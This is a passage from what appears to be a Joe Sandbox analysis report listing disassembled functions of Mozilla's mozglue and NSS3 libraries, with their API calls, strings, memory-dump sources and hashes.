free.MOZGLUE(?,?,?,?), ref: 6CA79EF5

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4aa9f3d302c73b5f420dd1f91cfa9c02d3ad8b16b4c7d1b95881db4a5120bd0c
Instruction ID: 9818c0f9bc5c025d22966872877111ee40301374966d3aaf8a488b0427b62b68
Opcode Fuzzy Hash: 4aa9f3d302c73b5f420dd1f91cfa9c02d3ad8b16b4c7d1b95881db4a5120bd0c
Instruction Fuzzy Hash: 3E71B174909B418FD712CF28C64095BF3F5FF99315B44861AE89A5BB02EB30E8C9CB91

Function 6CB42C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(44BF2249), ref: 6CB42C5D

Part of subcall function 6CBA0D30: calloc.MOZGLUE ref: 6CBA0D50
Part of subcall function 6CBA0D30: TlsGetValue.KERNEL32 ref: 6CBA0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB42C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB42CE0

Part of subcall function 6CB42E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB42CDA,?,00000000), ref: 6CB42E1E
Part of subcall function 6CB42E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB42E33
Part of subcall function 6CB42E00: TlsGetValue.KERNEL32 ref: 6CB42E4E
Part of subcall function 6CB42E00: EnterCriticalSection.KERNEL32(?), ref: 6CB42E5E
Part of subcall function 6CB42E00: PL_HashTableLookup.NSS3(?), ref: 6CB42E71
Part of subcall function 6CB42E00: PL_HashTableRemove.NSS3(?), ref: 6CB42E84
Part of subcall function 6CB42E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB42E96
Part of subcall function 6CB42E00: PR_Unlock.NSS3 ref: 6CB42EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB42D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB42D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB42D3F
free.MOZGLUE(00000000), ref: 6CB42D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB42DB8
free.MOZGLUE ref: 6CB42DC8

Part of subcall function 6CB43E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB43EC2
Part of subcall function 6CB43E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB43ED6
Part of subcall function 6CB43E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB43EEE
Part of subcall function 6CB43E60: PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CB43F02
Part of subcall function 6CB43E60: PL_FreeArenaPool.NSS3 ref: 6CB43F14
Part of subcall function 6CB43E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB43F27

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 100111e1c1f48fec8dc5a6dccc8e3bc933d44ba031bd07b45111ba261bb97ec4
Instruction ID: aab847d8baf78e5bc92cc0b6c8db682dd59741546a1684b77a8dc27119111d2c
Opcode Fuzzy Hash: 100111e1c1f48fec8dc5a6dccc8e3bc933d44ba031bd07b45111ba261bb97ec4
Instruction Fuzzy Hash: E851EF71A083619BEB00DE29DC89B5B77E5EF88348F14842CEC59C3655EB31E815BB93

Function 6CA7DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA7DDCF

Part of subcall function 6CA5FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA5FA4B

Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA790FF
Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA79108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DE0D
free.MOZGLUE(00000000), ref: 6CA7DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA6DEFD,?,6CA34A68), ref: 6CA7DF32

Part of subcall function 6CA7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA7DB86
Part of subcall function 6CA7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA7DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA6DEFD,?,6CA34A68), ref: 6CA7DF65
free.MOZGLUE(?), ref: 6CA7DF80

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 4b2fcb63f4800987489eb763b7adb2f0cc13d2e9e7f2a90555941dc370e9ba44
Instruction ID: d30b9223b67ce685fdb8e9f21dc0b66465e6a3206431388b5d5232852ff10c0c
Opcode Fuzzy Hash: 4b2fcb63f4800987489eb763b7adb2f0cc13d2e9e7f2a90555941dc370e9ba44
Instruction Fuzzy Hash: C351F87AE017019BD7319B29D9806AF73B2BF91708F99411DD81A53B00D731F8DACBA2

Function 6CA85D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85DC9
std::_Facet_Register.LIBCPMT ref: 6CA85DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA85C8C,?,6CA5E829), ref: 6CA85E45

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7d4c949dabea285bf50587a76dcda4e9772f64f141caf527ad107f75c61d5f5c
Instruction ID: 6660851e99378b0d4c30721e8d3edf93bc8f4ad4c6ee17c0f62a923d33709786
Opcode Fuzzy Hash: 7d4c949dabea285bf50587a76dcda4e9772f64f141caf527ad107f75c61d5f5c
Instruction Fuzzy Hash: 0B41C37070130A8FDB04DFA5D898AAE77B5FF48314F188168E90697791EB30DC46CB61

Function 6CA5CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA231A7), ref: 6CA5CDDD

Strings

<jemalloc>, xrefs: 6CA5CF9F, 6CA5CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA5CFA4, 6CA5CFB8

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ac83776044e67fc21439e546ee01ea0d35056c3f81b4b591adcd3970951b00e4
Instruction ID: fff1abbb5fd8440fbded71a7200e75a4cfcf60054889a916894a985510b2ed3a
Opcode Fuzzy Hash: ac83776044e67fc21439e546ee01ea0d35056c3f81b4b591adcd3970951b00e4
Instruction Fuzzy Hash: C531E73074030A6BEB04AEE99C45B6E7775BB4970CF68C114FA10ABAC4DB71D495CB91

Function 6CBA4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CBA536F,00000022,?,?,00000000,?), ref: 6CBA4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CBA4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CBA4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CBA4FAE
free.MOZGLUE(?), ref: 6CBA4FC8

Strings

%s=%s, xrefs: 6CBA4F89
%s=%c%s%c, xrefs: 6CBA4FA9

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 6ab097ea6dc5960efd0b275582425cab21002eef4d85a619d3c62aebbf4ef375
Instruction ID: 287d60b00715c76db82d4ba2db9e6d4109ddab091a7105f5339cdc333c9b1faf
Opcode Fuzzy Hash: 6ab097ea6dc5960efd0b275582425cab21002eef4d85a619d3c62aebbf4ef375
Instruction Fuzzy Hash: 90512831A0C1C58BEF05CAE984907FE7BF5DF46348F18A125E8D5A7A41DB2698078F92

Function 6CA2ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA2F100: LoadLibraryW.KERNEL32(shell32,?,6CA9D020), ref: 6CA2F122
Part of subcall function 6CA2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA2F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA2ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA2EDCC
CreateFileW.KERNEL32 ref: 6CA2EE08
free.MOZGLUE(00000000), ref: 6CA2EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA2EE32

Part of subcall function 6CA2EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA2EBB5
Part of subcall function 6CA2EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA5D7F3), ref: 6CA2EBC3
Part of subcall function 6CA2EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA5D7F3), ref: 6CA2EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA2EDC1

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: c079003765b46140f0f9132828c3bdfa5db228ad84964d143da48e6e4e5db7f2
Instruction ID: 68f819405f0ac3a09448552c3d4689ef1ed5e5a8743a732714963524953027c0
Opcode Fuzzy Hash: c079003765b46140f0f9132828c3bdfa5db228ad84964d143da48e6e4e5db7f2
Instruction Fuzzy Hash: F251EF71D053259BDB00DF78D9406EEB7B0AF49319F4C852DE8556B780E738A9C8CBA2

Function 6CA9A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9A565

Part of subcall function 6CA9A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9A4BE
Part of subcall function 6CA9A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA9A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA9A6B6

Strings

0, xrefs: 6CA9A5FB
z, xrefs: 6CA9A6AE

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: a5f3e943d748d21665a6fd3ac648a1a580c4ae2ec5d7c42bbe8eaf4b35fb926a
Instruction ID: 187c6d138eb063c0ca3371cf7b7e4102b9235133624dff23ba006f734ccf832e
Opcode Fuzzy Hash: a5f3e943d748d21665a6fd3ac648a1a580c4ae2ec5d7c42bbe8eaf4b35fb926a
Instruction Fuzzy Hash: 33413A71A197459FC341DF28C080A8FBBE5BFC9354F408A2EF49987650EB30D989CB82

Function 6CB58CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CB6124D,00000001), ref: 6CB58D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CB6124D,00000001), ref: 6CB58D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CB6124D,00000001), ref: 6CB58D73
PR_Unlock.NSS3(?,?,?,?,?,6CB6124D,00000001), ref: 6CB58D8C

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CB6124D,00000001), ref: 6CB58DBA

Strings

KRAM, xrefs: 6CB58CF9
KRAM, xrefs: 6CB58D3E

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: e3a91d05186bde81eb6bf97416c328853d37c628fb731b8c235681008a077c71
Instruction ID: 8c4a52b713326c8e5a92de512bfe5410644a6c292e78438766c9cbc38f2939fc
Opcode Fuzzy Hash: e3a91d05186bde81eb6bf97416c328853d37c628fb731b8c235681008a077c71
Instruction Fuzzy Hash: 14219CB0A546508FCB00AF38C48426EBBF0FF45308F55896ED89887741E731D861CB92

Function 6CC50ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC50EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC50EFA

Part of subcall function 6CB3AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB3AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC50F2B

Strings

Aborting, xrefs: 6CC50EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC50ED9, 6CC50EE5, 6CC50F06, 6CC50F0B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 02b32a179ef2a513ac8063d9da42a13391d2b5595639fca56df670cfb932bd14
Instruction ID: 84e13c2b8cc0c1bdd8cb2d586f3138354cb8b2f841ac4ca18bfd000aefb1fd02
Opcode Fuzzy Hash: 02b32a179ef2a513ac8063d9da42a13391d2b5595639fca56df670cfb932bd14
Instruction Fuzzy Hash: 1F016DB6900114BBDF01AFA5DC458AB3F3DEF46368F404464FD0997651E632EA609BB2

Function 6CA69420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
__Init_thread_footer.LIBCMT ref: 6CA6949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA6946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA6947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA69459

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2c2a0d0ab1015240c2b74f63211aab15f540259e50fdaadb8b5bed6302cfb977
Instruction ID: c6d63890b5a65aa163c70ec9f6da39c20f4a2ae39ee678a16649a02cd019abeb
Opcode Fuzzy Hash: 2c2a0d0ab1015240c2b74f63211aab15f540259e50fdaadb8b5bed6302cfb977
Instruction Fuzzy Hash: 3001F974A002038FD60897EEED0465A33B5EB0532DF04853AD90587E41D631D8E68A66

Function 6CC14D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC14DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC14DE0

Strings

misuse, xrefs: 6CC14DD5
API call with %s database connection pointer, xrefs: 6CC14DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC14DCB
%s at line %d of [%.10s], xrefs: 6CC14DDA
invalid, xrefs: 6CC14DB8

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a94a181faff771709895a0b47732a9268c251cca424419ddab5b9dbfaa8055f4
Instruction ID: 3a20cc4662ef841410e87ac20be6b71fa9db295ee4c8f95fd59c4fb148cf4c85
Opcode Fuzzy Hash: a94a181faff771709895a0b47732a9268c251cca424419ddab5b9dbfaa8055f4
Instruction Fuzzy Hash: 6AF0B421E286646BDB10A126CD11F8637559F0171DF5609E0FD146BF52F215989492A1

Function 6CC14DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC14E30
